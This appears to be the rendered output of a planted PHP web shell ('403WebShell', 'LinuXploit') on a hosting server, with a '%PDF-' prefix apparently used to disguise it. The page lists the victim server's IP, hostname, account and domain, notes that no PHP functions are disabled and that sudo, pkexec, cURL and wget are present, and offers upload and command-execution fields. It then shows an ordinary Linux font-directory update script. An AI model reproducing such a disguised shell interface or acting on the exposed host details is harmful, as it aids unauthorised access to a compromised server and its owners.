%PDF- %PDF- 403WebShell
403Webshell
Server IP : 79.170.40.229  /  Your IP : 18.188.39.173
Web Server : Apache
System : Linux web230.extendcp.co.uk 4.18.0-513.24.1.el8_9.x86_64 #1 SMP Mon Apr 8 11:23:13 EDT 2024 x86_64
User : 1stforcarhirealicante.com ( 296923)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/bin/xorg-x11-fonts-update-dirs
#!/bin/sh
# This script is used by the xorg-x11-fonts package in the %post stage for
# some fonts to generate the right encodings.

fontdir=""
encodingsdir="/usr/share/X11/fonts/encodings"

# some fonts need to skip mkfontscale, set to "yes" to skip
skip_fontscale=""
# some fonts need to run ttmkfdir, set to "yes" to run
need_ttmkfdir=""

if [ $# -lt 1 ]; then
    echo "Need at least one parameter for font dir."
    exit 1
fi

while [ $# != 0 ]; do
    case $1 in
        --skip-fontscale)
        skip_fontscale="yes"
        ;;
        --need-ttmkfdir)
        need_ttmkfdir="yes"
        ;;
        --encodingsdir)
        shift
        encodingsdir="$1"
        ;;
        *)
        fontdir="$1"

        if [ $# != 1 ]; then
            echo "Too many parameters."
            exit 1
        fi
        ;;
    esac
    shift
done

if [ "$skip_fontscale" != "yes" ]; then
    mkfontscale $fontdir
fi
if [ "$need_ttmkfdir" = "yes" ]; then
    ttmkfdir -d $fontdir -o "$fontdir/fonts.scale"
fi

mkfontdir $fontdir
fc-cache $fontdir

if ! [ -z "$encodingsdir" ]; then
    [ -d "$encodingsdir" ] || mkdir -p "$encodingsdir"
    [ -d "$encodingsdir/large" ] || mkdir -p "$encodingsdir/large"
    oldpwd=$(pwd)
    cd "$encodingsdir"
    mkfontscale -n -e "$encodingsdir" -e "$encodingsdir/large"
    cd ${oldpwd}
fi



Youez - 2016 - github.com/yon3zu
LinuXploit